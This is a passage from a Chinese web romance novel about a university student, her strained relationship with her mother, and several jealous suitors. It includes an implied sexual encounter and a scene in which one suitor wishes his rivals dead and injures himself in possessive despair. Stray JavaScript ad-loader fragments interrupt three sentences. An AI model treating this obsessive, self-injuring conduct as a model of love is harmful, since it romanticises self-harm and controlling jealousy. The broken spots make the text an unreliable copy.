“谈心”结束后,薛谭与万晨霜一人拎着一堆吃的去买奶茶。 “不是......”男孩叫苦连天,“还喝奶茶啊。这些东西咱们吃得完嘛?” “最开始是你要来买奶茶的吧......”薛谭抱着地瓜条吃,四处打量着周围,“走那么长时间我都渴了,东西吃不完我带回去给盛晚吃。” 万晨霜瞬间收回脸上的抱怨,脸色不太好地瞥了一眼前方神情自若的女孩,只感觉有一块石头压在胸口,喘不过来气,语气也沉闷下来:“你吃不完的东西我吃,用不着给他。” 薛谭才不管他说什么,脑子里正在纠结是把这些留给盛晚吃还是给孟文霖吃,刚才第一时间想到了把吃的带回家给盛晚,然而转念又记起来她明天要和孟文霖一起看电影,好像是先遇到的孟文霖。 算了,这点吃的能不能撑到明天下午还不一定呢。 薛谭想事情想的出神,忽然被一道熟悉的女声叫住:“薛谭!” 脚步顿住,她惊讶顺着声音传来的方向望去,便见到高兴朝这边挥手的张礼鸢,以及站在她身边浅浅微笑的卓钦。 薛谭快步走过去,抬头查看发现这正好是一家奶茶店。 “薛谭你出来玩啊?”张礼鸢高兴地撑着台面,“我跟卓钦一块在这打工,要不要买杯奶茶支持一下啊?” “当然!”薛谭毫不犹豫应下,她之前就知道卓钦休息日会在奶茶店兼职,没想到今天正好遇上,还真是巧。她给自己点了一杯果茶,又把饮料单拍照发到群里问薛韵他们要喝什么。万晨霜则因为刚才吃了太多担心变胖没有要。 另外三个人要了和薛谭一样的果茶,她报给张礼鸢,女孩很高兴地转身去做。 期间薛谭小心翼翼观察卓钦,发现女孩神色如常并未有见到她的反感和厌恶,稍微放心了一点。 察觉到那道如秋日细雨点点滴滴落在脸上的目光,正看着桌面发呆的卓钦也不知怎么想的,忽然掀起眼皮看过去,她们对上视线,薛谭像是做了坏事被抓包一般立即心虚地移开视线。 怕什么。 卓钦想,她胆子怎么那么小,明明自己也没有做什么,偏偏她总是一副被欺负了的样子。 ——不对。 卓钦否定掉这个论断。分明知道自己的目光会让女孩觉得不自在,她却还是保持着不冷不热的微笑静静盯着她瞧,心想薛谭胆子才不小,毕竟哪个正常人会提出和大晚上陪陌生同学一起去逛街。在卓钦看来,对于能够做出这样决定的薛谭,说她没情商也好,脑子笨也罢,总归都是勇敢的。 至少卓钦是说不出那样的话。 其实薛谭人挺好的。 知道女孩最近因为自己忽然的疏远而惴惴不安,卓钦嘴角笑意扩大,决定结束这场她擅自开始的奇怪游戏,“薛谭。”她语气亲昵地叫了一声,女孩果然展露笑颜,惊喜地望着自己。于是她笑得更灿烂了,与两人刚认识时无异:“好巧啊,没想到能在这里遇见你,是来和弟弟一起玩吗?” 欸?薛谭有些震惊卓钦竟然能一眼看出来万晨霜是自己弟弟,不过此刻意识到“没有被卓钦讨厌”而产生的喜悦占据了她全部的心神,“嗯!”她想要再接再厉继续说些什么,可惜鲜少的主动开口经历没办法为她提供话题灵感,她紧张地眼神乱飘,在看到万晨霜手上拿的一堆吃的后福至心灵:“那个!你们要不要尝尝这些?” 卓钦和张礼鸢打工的地方是家高档奶茶品牌店,加上今天人本来就少,小店门口只有薛谭和万晨霜两个人,这给了她很好的说话机会。 薛谭把手里的好吃的放在台面上,解释:“我们刚才不小心买超了......一直在纠结该怎么办,正好碰上了你们。”她把其中一份章鱼小丸子推出:“这个!很好吃的,你们要不要尝尝看?” 张礼鸢一下子瞪大了眼睛趴过来,星星眼望着薛谭:“天呐!薛谭你也太好了吧!真的可以给我们吗?哎呀我和你说,我今天可是一大早就被卓钦拉到这边来了,没吃早饭,午饭也是随便解决的。” “当然了当然了!”薛谭很高兴她们愿意接受这些吃的,刚想为张礼鸢简单整理一下放在一个大袋子里,便听到卓钦无奈的声音:“喂,现在可是工作时间啊,要是被老板看到收顾客的东西会扣工资的。” “啊——”张礼鸢痛苦地抓了抓头发,“好朋友慰问上了一天班的可怜打工人都不行嘛,真是,也太严格了吧。” 薛谭犹豫着开口:“那能不能先给你们找个角落里放着呢?等一会下班了就可以直接吃。” 不给张礼鸢开口的机会,卓钦把她推到后面继续做奶茶,而后转身没办法地向薛谭解释:“谢谢你啊薛谭,不过恐怕不行了。这里有监控,我们是不能随便收取顾客东西的。”她双手合十夸张地苦笑:“抱歉啦!” 薛谭被她的鬼脸逗笑,理解两人的工作,也没有强求,把台面上的吃的收回。 她和卓钦随意闲聊了一会,女孩恢复了往日的热情爽朗,虽然不明白卓钦对自己态度转变的原因,但是薛谭很珍惜现在会笑着和自己讲话的卓钦,决心忘掉之前两次的不愉快。 或许是她误会了。 可能卓钦只是当时心情不太好所以没有精力应付自己,所以态度才稍显冷漠?毕竟她可是超级厉害的班长啊,平时肯定会比较忙。她接触的人肯定也很多,薛谭估计只是其中最微不足道的一个人。 薛谭觉得可能是自己把卓钦看得太重了,所以交往时女孩每一时刻的态度都无限放大了。其实无论是卓钦之前的“过分热情”还是后来的“突然疏远”,说不定都是人际交往中正常的状态。或许从卓钦的角度来看,她还觉得薛谭一会哭一会笑得很奇怪呢。 所以说,当时察觉到的那一点点恶意,一定是错觉啦! 尽管不太想承认,但薛谭其实是个非常喜欢逃避的人......啊不,等等,也可以说做是擅长逃避吧? 无论是考试成绩不理想还是人际交往上遇到了困难,亦或者是和薛韵发生了矛盾......薛谭都有一个超棒的方法去解决哦!那就是—— 忘了它! 没错啊就是这样!管它多么艰难多么令人伤心愤怒,只要忘记就好了嘛,只要忘记了那它就没有发生过,薛谭就还是一个躲在自己世界里平平淡淡的小蜗牛。 于是卓钦和薛谭两个人,前者当作什么都没发生,后者把发生的一切都给忘记了,相谈甚欢! 卓钦打包完成张礼鸢做好的饮料 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,笑着递给薛谭。 薛谭伸手要去接,却发现她和万晨霜两个人根本腾不开手。卓钦绕过来,想试着把奶茶挂在薛谭手上。 正当几人为四杯奶茶手忙脚乱时,一道含着笑意的声音自头顶传来:“怎么买那么多东西。” 修长有力的手突然伸进三个人包围的小圈,拎起四袋奶茶。 是薛韵。 “都是万晨霜买的。”薛谭率先向薛韵告状,见到女人视线落在卓钦身上,心里说不上来的雀跃,又带点小骄傲:“她们是我同班同学,在这里打工。” “阿姨好!”张礼鸢笑嘻嘻挥了挥手。 然后便安静下来。 薛谭暗自期待着薛韵的反应,一直盯着女人瞧,却发现她原本还带着淡淡笑意的脸色逐渐沉下去,像是古寂的湖面,任凭风吹也掀不起一丝波澜。 薛谭从未见过这样的薛韵,印象里女人所有情绪都是淡淡的,有着书本里流浪诗人的随性洒脱,可是现在的女人面容严肃,陌生的让她有些害怕。 她不由自主后退一步,身后撞到一个人,那人微凉的大手扶住她的肩膀,顺势向下滑接过她手里的食物。 “这是什么?好吃吗”万晨露亲昵地扒拉在薛谭背后,拿起一包还热乎乎的地瓜条。 她的忽然出声引起了在场所有人的注意,薛韵好似猛然一惊般回过神,与同样诧异的卓钦错开视线,抬头看向刚才和她打招呼的张礼鸢,客气笑了笑:“你好,我是薛谭的母亲,我听桃桃提起过你们。” “欸?真的嘛。”张礼鸢惊喜,她绕过前台站在卓钦身边,亲昵地挽住卓钦僵硬的胳膊,“我跟薛谭一起在话剧社里工作,她写的剧本可棒了。阿姨刚才叫她桃桃,桃桃是薛谭的小名吗?” “对。”薛韵笑容很是真诚:“谢谢你们和桃桃做朋友。” “没有没有。”张礼鸢摆摆手,“能和薛谭做朋友我们也很开心呢。” 张礼鸢自然地与薛韵客气攀谈,站在她身边的卓钦却始终低着头一言不发。 简单说了两句,薛韵转身对薛谭说:“好了,桃桃,我们快走吧。”她笑容祥和,像一位普通的母亲。 “啊......好的。”愣愣的薛谭被万晨露推着往前走,不知为何,总感觉薛韵出现的一刹那卓钦好似又变成了之前那副冷淡疏远的样子。她的目光控制不住在卓钦和薛韵之间来回停留,甚至走开奶茶店铺前了还忍不住回头去看。 而这一看正好对上了与抬起头面无表情的卓钦对上了视线。 好、好吓人! 薛谭连忙收回目光,挣扎两下从万晨露手下离开,几步跟上走在最前面的薛韵,张口哑然无声。她伸手攥住薛韵手上提着四袋奶茶的带子,薛韵也因此放缓了脚步看过来。 她低着头干巴巴解释:“我要喝奶茶。” “......抱歉。”薛韵把奶茶分给几个人,她其实不喜欢喝这种东西,今天在群里说要和女孩一样的也只是想着两人好不容易出来一次,不能做个扫兴的家长。 可惜今天注定要让女孩不开心了。 “刚刚那个卓钦是——”薛韵觉得自己心跳都变快了,她不自在地插开奶茶吸了一口,“是我资助的学生。” 31. 第 31 章 薛谭的第一反应是:“你刚刚为什么要谢谢她们愿意和我做朋友?” 薛韵愣了一下,反应过来后解释:“我不是那个意思。” “只是你骗自己也骗我不是那个意思而已。”薛谭条理很清晰地反驳:“我也不是个糟糕透顶的人吧,愿意和我做朋友什么的......在你眼里就是一件那么值得感恩戴德的事情吗?” 万晨露见气氛不对,马上和万父一起拉住没眼色往前走的万晨霜。 她们两个同时停下来,吵吵嚷嚷的美食街里,沉默在二人之间蔓延,形成一道坚硬的屏障,阻止任何人探入。 “......对不起,是我说错话了,我当时没想那么多。”薛韵把自己和薛谭手上的东西全部交给万父,拉着薛谭走进一家茶馆。 薛谭被薛韵拽着坐在茶馆角落里,冷眼看着薛韵与服务员交谈,一颗心慢慢变凉,愈发失望。在女人看过来之前,她率先移开目光。 “桃桃,真的对不起。”薛韵握住薛谭的手,“我不该说那样的话,刚才只是和那个女生客气一下,你能明白吧?我没别的意思。” 只是客气一下?没有别的意思?她到现在都没有意识到自己的错误! 好端端的到底为什么要感谢她们愿意和她做朋友,这有什么好感谢的?说到底还是薛韵觉得她这个女儿不够好,所以才会下意识把她放在人际交往的低位。说什么溺爱她保护她,都是借口!薛韵从一开始就在轻视她! “为什么不把资助卓钦的事情告诉我?”她不想问薛韵为什么要资助别人,资助别的女孩上学是一件善行,她努力遏制住内心阴暗的想法,冷静发问。 薛韵神容复杂,食指不自觉在桌面上敲打,这是烦躁的信号,“没什么好说的,我只是定期给她打点钱,没必要和你说这些。” 女人的不耐烦深深刺痛了薛谭,她呼吸急促了几分,觉得胸口都泛上丝丝缕缕的疼痛了,“......只有这些吗?” “什么意思?” “你和她之间的联系,只有汇款吗?” “当然了,不然呢?”薛韵食指之间敲击桌面的速度变快,她忽然停下,将鬓边一缕发丝撇到耳后。 她在撒谎。 薛谭忽然想到那天她、南采还有卓钦与张礼鸢一起在食堂吃饭,卓钦说她家里也有一个人很喜欢吃辣,当时她指的会不会就是薛韵呢?薛韵和卓钦私下里也有往来吗? 她又不是很小气的人,既然薛韵喜欢卓钦大可以大大方方把她接回家一起吃个饭什么的啊,为什么要瞒着不告诉她呢?还有卓钦应该是知道自己就是资助她的那个人的女儿吧,怪不得刚开学时就对她那么热情。 是薛韵告诉卓钦的吗?薛韵又是怎么和卓钦讲自己的呢?是不是很无奈又精疲力尽地说“我那个没用又小心眼的女儿啊......” 两人努力维持了那么久的平静难道就要这么打破了吗?说实话薛谭真的很讨厌吵架,尤其是和薛韵争吵。记忆力自从薛韵和万父结婚带着薛谭来到万家后,埋藏在她们之间那隐隐约约的矛盾便好似被冻在了地底一般没再显露过,因为两个人都在努力压抑着,避免挑破矛盾。 从前的薛韵和薛谭几乎每天都要吵架,说吵架也不合适,大部分时候都是薛韵发脾气薛谭沉默,或是薛谭发脾气薛韵沉默。她们好像总是没办法正常交流许多,连互相争论都做不到。 为什么呢? 大概是互相亏欠的同时,又都觉得对方对不起自己吧。 薛谭没骨气地掉下眼泪,抽出桌子上的纸捂着脸,“那你是什么时候开始资助卓钦的?你是怎么认识她的?你是只资助她一个人,还是资助了许多学生。” 薛韵沉默了很久,就在薛谭以为她要躲过这个话题时,女人终于开口了,“......只资助了她一个人。” 她没有回答前两个问题。 如果薛韵现在递给她纸巾,薛谭就继续追问。 可是没有。 女人只是看一眼手机,站起身,“我们回去吧。” “你在说什么啊!”薛谭把纸砸到她身上,“我这副样子怎么可能出去见人!” 妈妈是笨蛋!笨蛋笨蛋笨蛋!根本不关心她!为什么就是不能多考虑一下她的感受! 于是薛韵立马露出恍然大悟的表情,就像是之前要求她把蜘蛛放走时,突然反应过来她身上湿漉漉的一样。所有的关心都需要薛谭这个被关心者去提醒,明明应该是她主动的事情,现在却显得她多么无理取闹一样。 薛韵坐在薛谭身边,从一旁的纸盒里抽出纸巾为薛谭擦拭眼泪,薛谭心里有气不想面对她,从她手里夺过纸自己背到一边努力平复心情。 “桃桃,我承认,我总是下意识把你当作需要保护的弱者,刚才和你朋友说的那句话确实是我说错了,还有卓钦的事情......以前我们总是吵架,那个时候我担心把卓钦的事情讲出来你会不开心,所以就一直没有说。抱歉,我会努力改掉这种想法的。” 薛谭转过身,只是一直低着头,并未看薛韵,开口嗓音还有些沙哑,“......你这次把我叫回来是不是有事情要和我说?” 薛韵一愣,定定看着这个与她血脉相连的女孩,心脏刺痛了一瞬,出口的声音是自己都没预料到的柔软:“不是,没什么事情,我只是想见见你了。” 晚上薛谭和万晨霜没有吃饭,两人一起把买的好吃的给解决完了。 薛谭客观评价:“你比我想象的能吃。” 男孩面上一红,羞恼:“才、才不是!我可是小鸟胃,平时饭量很小的好吧!要不是担心浪费,我才不会吃那么多......”说着,他还故意揉肚子嚷嚷撑死了。 “扑哧。”薛谭无情嘲笑:“孟文霖饭量比你大多了,身材也比你好。” 万晨霜平生最讨厌的人就是孟文霖,他本应该为薛谭拿孟文霖拉踩他而感到愤怒,然而此时此刻,不知为何,看着女孩欢乐的笑颜,他就这么呆住了。一直到薛谭离开,他还像个傻瓜一样坐在那里一动不动。 薛谭第二天早饭午饭一起吃完就出门找孟文霖了。 “桃桃!” 远远望见一个高大的身影迎风而立,吹出宽肩窄腰的美好身姿,薛谭朝着孟文霖的方向没走两步,少男便快速跑过来将她抱了个满怀。 被熟悉气息包裹的薛谭忍不住搂住他劲瘦的腰肢,将脸埋在少男厚实的胸肌间蹭了蹭。 孟文霖的怀抱越收越紧,在薛谭感到不适前又立马松开。 他穿了厚外套,但 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 还是有些薄,鼻尖冻成了粉色。孟文霖万般珍重地捧住薛谭的脸,弯腰贴上额头,眼里的思念满溢出来:“桃桃,我好想你。” “我也想你了,孟文霖。”薛谭最终还是没忍住亲上了孟文霖,果然这张脸无论看多少年都很勾引人啊。 久别重逢的两人像是两块磁铁终于碰撞在一起,黏糊糊地吻了许久才稍微分开。 少男呼吸有些急促,看向薛谭的目光已经变得迷离。湿软的唇瓣分离,拉扯出一条暧昧不清的银丝。孟文霖搂在薛谭肩膀上的手臂微微收紧,伸出舌头顺着银丝舔上去。 这一回他们就像是久别胜新欢的爱侣,吻得又缓又深,好似要通过唇齿绵长的交缠来舒缓多日的思念。 薛谭被他吻得略微踮起脚尖,于是孟文霖腰弯的更低,吻得也更深了。 “桃桃......”孟文霖情到浓时,颤抖着声音脱口而出:“我们复合吧。” 薛谭理智回笼了一些,推开孟文霖,不可置信地望着他:“你在说什么?我有男朋友跟你复合个什么?” 少男眼眶变得湿红,清纯温柔的桃花眼因此多了几分性感,他嗓音软软地撒娇:“我想和桃桃谈恋爱。” 薛谭质问:“你想让我脚踏两只船?” 孟文霖猛然想起上一次这种情况时直接把女孩气哭了,他连忙改口:“不是不是,我就是开个玩笑,桃桃好好谈恋爱,不用管我。” 薛谭依旧有些不高兴,孟文霖伏小作低哄了许久,女孩脸色才逐渐由阴转晴。 而孟文霖面上跟着高兴起来,内心却像是打翻了八百个醋坛子,只有他知道自己此刻的笑容有多么勉强。 桃桃真的喜欢上盛晚了。 无论是之前为了盛晚和他分手,还是如今为了盛晚毫不犹豫拒绝他的复合请求,桃桃的选择从始至终都是盛晚。 明明、明明他们认识的更久,感情也最深厚不是吗?为什么现在一切都变成了这个样子。 对盛晚的忌恨节节攀升,如果恨意能杀死人,盛晚早已经被孟文霖杀个百八十回了。 “对了。”坐上地铁,薛谭询问孟文霖:“你知道我妈妈资助了一个女孩的事吗?” 孟文霖摇头否认,他也十分震惊:“是什么情况?” 薛谭简单把卓钦的事情和孟文霖讲了一遍,少男越听神情越犹疑,很是担忧:“薛阿姨资助的那个女生会不会因为——呃......”他纠结着用词:“太羡慕桃桃所以产生了一些不好的情绪?” “什么?”薛谭一愣。 孟文霖连忙摆手解释:“我也不想这样揣测桃桃的朋友,但是......”他眉头皱成一团,“真的很奇怪不是吗?之前对桃桃那么热情后来又突然不搭理人,怎么看都不正常吧。而且我怎么觉得当时她在食堂里说家里有人吃辣就是故意的啊......”他说话声音越来越小。 薛谭因为孟文霖的话浑身不自在,她很不习惯在背后议论别人,虽然卓钦忽冷忽热的态度却是很让她苦恼就是了,但说到底也没有真的做出什么伤害她的事,她实在找不出理由讨厌卓钦。只好摆摆手:“算了,不说这个了。” 孟文霖握住薛谭的手,目光柔和而坚定,“桃桃,我们和那个人谈谈吧,我陪你一起好不好?” 32. 第 32 章 欸?什么?谈谈?和谁谈?卓钦?谈什么? “不不不不不!”薛谭立即抽回手,“不行的!我不行的!啊真是,你到底在说些什么啊,这种事情我怎么可能问得出口嘛?”不仅问不出口,她感觉自己从今往后都不知道该怎么见卓钦了好吧! “可是——” “绝对不行!”地铁到站,薛谭起身就往外面走,孟文霖连忙背上包追上女孩。 孟文霖是电视剧看多了吗?这种情况最好的处理方法当然是双方都装作不知道啊,反正薛谭才不要做这么尴尬的事情。 埋头苦走间,前方不知道哪个倒霉蛋的豆浆撒了一地,眼看脚已经停留在上空,薛谭连忙转脚想要避开,却不想一个不稳将要摔倒在地。下意识伸出胳膊想要抓住什么,一只修长有力的手忽然放大在视野中,攥住了自己的手腕。 她瞪大眼睛,立即伸出另一只手一起扒拉住对方,却不想力气太大两个人直接齐齐往她的方向倒去。 就在薛谭以为自己不仅要摔个狗啃泥还要被压扁之时,温热的柔软从后背裹袭全身,孟文霖接住了她和那个要拉她的好心人。 “桃桃!” “薛谭!” 除了孟文霖外还有一个熟悉的声音响起,和她一起扑倒在孟文霖怀里的少男慌忙起身,满脸通红地道歉:“对不起对不起!对不起啊薛谭,我有没有压到你?” “李铭泽?”薛谭在孟文霖小心搀扶下站好,有些惊讶地望着对面捂着脸似乎觉得很是羞愧的少男,“你......”她顿了一下,反应过来:“你也是来看电影的吗?” “对啊。”李铭泽耳尖充血,红的像是熟透了的柿子,“来看电影碰上了要摔倒的朋友,信心满满想要救下结果不仅失败了还丢脸地一起摔倒,啊——薛谭,请问附近有地缝吗?” “什么啊哈哈。”薛谭被他逗笑,忍着笑意拍了拍李铭泽的肩膀,安慰:“这有什么,我力气大,你一个男孩子家家的比不过我不是很正常?好啦好啦,不用放在心上哦。” 李铭泽欲哭无泪:“可是——” “嗯——?”薛谭双手背在身后,仰起脸凑近了少男,李铭泽一时瞪大眼睛下意识往后去,她眯起眼睛阴恻恻威胁:“为什么要羞愧呢?你看不起我吗?” “喂,不要只凭借奇奇怪怪的逻辑就给我下罪名啊。”不过嘴上这么说着,李铭泽还是马上立正,严肃摆手:“太冤枉了!绝对不敢看轻勇者小姐啊!” 勇者小姐是《无头boss爱上我》这款游戏的主要控制角色,上能与严苛极刑的国王对峙,下能击杀深渊火龙,大战无头boss,拯救全国百姓于危难之中,是一个兼具智慧与武力的高人气角色。 薛谭被李铭泽夸张的面部表情逗得笑出来,孟文霖适时发问:“桃桃,这位是?” 不等薛谭开口,李铭泽便上前一步正面孟文霖,抢先回答:“我是薛谭的朋友李铭泽。”他脸上带着轻松随和的笑容,只是眼神却如野兽一般锐利地盯着孟文霖,“你就是薛谭男朋友吧?幸会。” 孟文霖从眼前这个少男和桃桃说第一句话时就注意到他时不时瞟来的视线,瞧瞧他勉强的样子,笑的一脸险恶,想必说最后一句话时牙齿都要咬碎了吧。这个男生伸出手时是什么心情呢? 孟文霖想,大概和他此刻的心情一样吧——强烈的不甘心,他伸出手与他交握,笑容不达眼底,“我叫孟文霖,是桃桃最好的朋友。” “哦?原来我认错人了吗?”李铭泽不好意思地挠挠头,朝薛谭抱歉道:“一直听说你有个很帅的男朋友,不好意思啦!”他亲昵地和女孩走在一起,“你也是去看电影的吗?坐在哪里呀?一起过去吧!” 薛谭打开手机查看信息,很巧的是,李铭泽和她之间正好隔了个孟文霖。 李铭泽感叹:“太巧了吧!”他很自然地转头对孟文霖说:“我们换一下位置吧,没问题吧?” 什么? 孟文霖脚步放慢,怀疑自己听错了。 “我说——”李铭泽笑容真诚阳光,“我也好想和薛谭坐在一起啊,我们换个位置吧。”说罢,他看向薛谭,“好不好?” 孟文霖:好想像眼前这个男生一样没脸没皮地活一回。 “当然可以啊。”薛谭还有点生气孟文霖要让她和卓钦谈话这件事情,毫不犹豫答应了。 “等等桃桃。”孟文霖走过来拉住薛谭的手腕,无视李铭泽冰凉的笑容,带着女孩走到一边,“桃桃,我、我刚才就是太担心你了,我怕薛阿姨资助的那个女生会对你做什么不好的事情,所以才提出跟她开诚布公好好谈谈。” 薛谭无法理解:“她怎么可能对我做什么事情啊,顶多——”她挫败地将头撇到一边,“顶多就是不喜欢我,你也真是,电视剧看多了吧。” “可是那个人的态度很奇怪呀桃桃。”事关薛谭,无论多小的事情孟文霖都不想含糊过去,“我们也不说什么,就是一块吃顿饭,或者我自己和她说......” “怎么可能!”薛谭大声打断孟文霖,“你代表着我,要是单独见她一看就是找事的好吧。”她已经不耐烦了,“而且妈妈都没和我多讲这件事,肯定是因为不想让我插手多管呀。哎呀,你也不要太担心了,大不了我以后不再热脸贴冷屁股就是了,其它的全部当作不知道好啦。” 孟文霖还想再说些什么,可是观女孩神色便知她已然到达情绪边缘,若是再说下去恐怕会真的让她不开心,只好留了个心眼,就此作罢。 “那桃桃——”孟文霖再次叫住要离开的薛谭,轻轻勾住她的无名指和小拇指,恳求:“我不要和桃桃分开,我们两个好不容易见一次面,为什么要让那个陌生人来插一脚啊。” “啧。”薛谭拍他,“别说那么难听,他是我朋友。” 孟文霖委屈:“那我也是桃桃的朋友啊,而且是桃桃最好的朋友不是嘛?” “是是是。”薛谭抓了抓脖子,随口敷衍,只是看个电影而已,她根本不在乎谁坐在哪里。和满脸期待的李铭泽讲明情况后,少男也 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 并不失落,依旧笑得很开心地走在薛谭身边。 看完电影后,李铭泽提出来一起去吃饭,被薛谭拒绝了。她和李铭泽也只是普通朋友而已,最多会因为相同的兴趣爱好聊得多一些,但说到底还在薛谭心目里“别人”的范畴中,她不习惯和别人相处。 孟文霖很珍惜和薛谭难得的共处时光,虽然只是因为上大学分别了一两个月,但是两个人从小一起长大,几乎形影不离,分别的这一两个月内,孟文霖无时无刻不在想念着薛谭。 他们说了许多话。 薛谭只是不爱在外人面前讲话,但这并不代表她就是个话少的。而孟文霖对待薛谭更是殷勤的很,一点点鸡毛蒜皮的小事都能和她讲很久。 “你今晚什么时候回去?”薛谭牵着孟文霖的手一起走在灯光璀璨,人流不息的马路上,他们吃饭时喝了点酒,聊的很上头,此时冷风吹过来让她意识稍微清醒了些。 “九点零四的车票。”孟文霖低头看着身边的女孩,五彩斑斓的灯光撒在他脸上,忽明忽暗,却只显得温柔。 “好快啊。”薛谭不满地抱住孟文霖粗壮的手臂,隔着两层不料感受了一会温热的、鼓囊囊的肌肉,还是没忍住说:“可是我好想和你睡觉啊。” 盛晚身材也很不错——不,该说也很完美,和他那张脸一样。盛晚毫无疑问是上帝最完美的作品,想必在创造他的人一定拿着各种计量工具,精确计算出他从头发丝都脚底板每一处的骨肉,使他成为全世界最漂亮的天使。 他真的配得上完美无瑕四个字。 虽然和盛晚睡觉也很舒服就是了,但薛谭偶尔还是需要尝尝孟文霖这种长得就很刺激的野味啊,毕竟她今天哄这个男的开心,明天哄那个男的开心,很累的好吧。这是她这种绝世好女人应得的报酬。 孟文霖一颗因为薛谭而砰砰乱跳的心早已经软成一汪春水,当即掏出手机退票请假买好周二的票,晕乎乎地被薛谭牵到了酒店。 到了深夜,孟文霖看着迷迷糊糊睡过去的薛谭,幸福得头发丝都泛上一股酥麻感。他先拆开湿巾轻轻给她擦了一遍身体,而后才把自己脸上的水液擦干净。抱着热乎乎的薛谭,孟文霖又忍不住细细啄吻她的眉心眼皮,鼻子和唇角,只觉得怎么亲都亲不够。 嗡嗡的声响忽然从床头响起,孟文霖停下一路向下的动作,愣神两秒,才反应过来是有人给薛谭打电话了。 因为不喜欢听到电话和消息提示音,薛谭手机铃声常年关闭,只留下手机在旁边时才能察觉到的震动。 疑惑这个点了谁会给桃桃打电话,在拿起手机的那一刻了然,原来是盛晚。刚才太幸福他都要忘了这个男人。 他像是刚刚得了主人宠爱的小狗,一下子便趾高气昂起来,自信主人一定会偏宠于他。 孟文霖拿起手机走进浴室里关好门,然后接听。 几乎在同一时间,一声“谭谭”急促地闯入封闭的空间,孟文霖举着手机,冷眼看着屏幕里因为看清楚接电话的人也逐渐冷下脸的盛晚。 33. 第 33 章 说来还真是神奇。 和谭谭交往的两个多月里,女孩从来没有迈进过盛晚的房门。 明明只隔了一道走廊,明明两人是亲密无间的爱侣,女孩不曾对枕边人产生过一丝一毫的好奇。 谭谭说她回万家住两晚。 谭谭说她周日下午要和孟文霖一起出去玩。 谭谭说她周日晚上会回来,让他洗干净身体刷好牙等着她。 因为害怕继续待在堆满孟文霖做的玩偶的屋子里会发疯,盛晚独自解决凉掉的饭菜,在餐桌上趴了一会,便起身回到了自己的屋子。 黑色好像混杂着凉意吞噬这间公寓,伸手不见五指。 盛晚入住的第一天就把厨房以外的灯给拆了,窗户也被纯黑的帘子完全遮挡,他站在门口,犹豫是去厨房待着,还是躲在卧室里。 想了想,还是回卧室吧。厨房有面镜子——出门找谭谭前,他至少要照一个小时以上来确保自己的今日的魅力能够最大程度释放出来,但是现在,他不想见到那面镜子,他厌恶自己丑恶的嘴脸。 盛晚不用想象就能够知道,自己此刻的面容是多么扭曲。 他缓缓褪去衣服,赤身躲在被子下面,尽可能蜷缩身体假装谭谭在拥抱自己。 谭谭。谭谭。谭谭。谭谭。谭谭。谭谭。谭谭谭谭谭谭谭谭谭谭谭谭...... 谭谭是喜欢他的啊,为什么总是要有那么多臭虫来打扰他们!为什么总是有不要脸的贱货小三插足他们的感情!好想杀死他们!好想杀死孟文霖好想杀死万晨霜还有那个老是往谭谭身边凑的李铭泽!都是贱人! 盛晚努力平复颤抖的呼吸,想让谭谭占据自己全部脑海,哪怕女孩不在身边,他也希望支配自己灵魂与肉//体的只有谭谭,他的所有、他的一切都是属于谭谭的。至于那些苍蝇一样纠缠不休的男人,都滚开去死好啦!对,只要不去想他们,谭谭眼里心里就还只有自己一个人。什么约会什么看电影,统统都要忘记,只要忘掉,那就没有发生过,这是谭谭教给他的。 他闭上眼睛,哪怕这对于本就身处于黑暗中的他并没有什么作用。脑海中一遍又一遍播放他和谭谭的初见、再见,以及相遇相知,似乎这样就能麻痹自己的醋意翻涌不止的内心,平息所有忌恨与不甘。 他不知道躺了多久,房间没有开空调,被子也不厚,其实还是有点冷的。但盛晚还是出了一身汗,他厌弃地扇了自己一巴掌,起身又躲进浴室里冲洗。 双臂抱膝坐在浴室里,花洒里喷涌而出的热水浇注在后背,烫的发疼。 身上一定红彤彤一片了,盛晚漫无目的地想。他很无聊,不知道该干什么,没有谭谭,他就没有了灵魂,没办法独立思考,也没有做任何事的动力。 谭谭好像更喜欢白白净净的自己。 反应过来这一点,盛晚像个精神不正常的疯子一样突然蹦起来扯掉花洒砸到墙面上,发出“嘭”的一声,滚烫的热水划过他的身体喷洒在脚背上。感受着密密麻麻流过脚背的热流,他慢吞吞顺着分散的水柱走到花洒旁边,而后抬脚急速踹上去。 他没有穿鞋,却硬生生把花洒给踹烂了。 脚底大概被划破很多口子,盛晚走出浴室都能感受到温热的液体被他踩在脚下,想来是血。 他没有管,焦躁地在客厅里绕了一圈又一圈,自虐一般挤压着本就血流不止的伤口,直到实在疼的无法支撑摔倒在地,肩膀磕在了桌角,痛意自肩膀处蔓延全身,一时分不清到底是脚疼还是肩膀更疼。 盛晚干脆坐在地上,望着到处都一样的黑暗发呆。实在不知道该做什么,于是干脆开始念谭谭的名字。 “谭谭,谭谭,谭谭,谭谭......”时而黏糊糊慢吞吞,时而又忽然拔高声音,像是要故意吓黑暗一跳。 不知道念了多久,盛晚觉得嗓子也开始疼了。 他眨眨眼睛,猜测时间应该过去了很久。 这一认知让他全身上下忽然涌现了不知名的力量,连滚带爬来到卧室摸到床上的手机,打开—— 没有任何消息,但是八点二十三了。 他抖着手给发消息:【谭谭什么时候回来啊?我去接谭谭好不好呀?】 一动不动地盯着手机许久,看着顶端的数字从8:23变成9:00,他又发了一条消息:【谭谭~我好担心谭谭呀,谭谭看到消息了回我一声好不好?】【猫猫卖萌jpg.】 等到9:00变成9:30,他随手套上一件卫衣光着下半身就跑到厨房,对着镜子仔细整理了一下湿漉漉的头发,然后缩在角落里拨打视频电话。 响了第一遍没人接听,他又拨打第二遍,无果。 霎时间,所有阴暗的想法如潮落般褪去,盛晚慌忙回到卧室穿好衣服,又跑到薛谭的家里找到电动车钥匙,下楼骑上车就往地铁站前进。 他知道女孩手机静音的习惯,一路上仔细查看四周,祈祷女孩只是没有看手机,祈祷自己能够发现女孩的身影。 到达地铁口了,还是没有发现谭谭的身影。盛晚安慰自己,或许她还在和孟文霖一起玩,只是没有看到消息而已。 可是直到晚上十一点,薛谭还是没有回复盛晚的消息。他知道孟文霖明天还要上课那么晚坐高铁不太现实,更知道孟文霖不会让薛谭那么晚回家,他开始慌了,一遍又一遍不停拨打薛谭的电话。 不知道究竟是第几个,电话终于接通了,盛晚几乎要哭出来,“谭谭!” 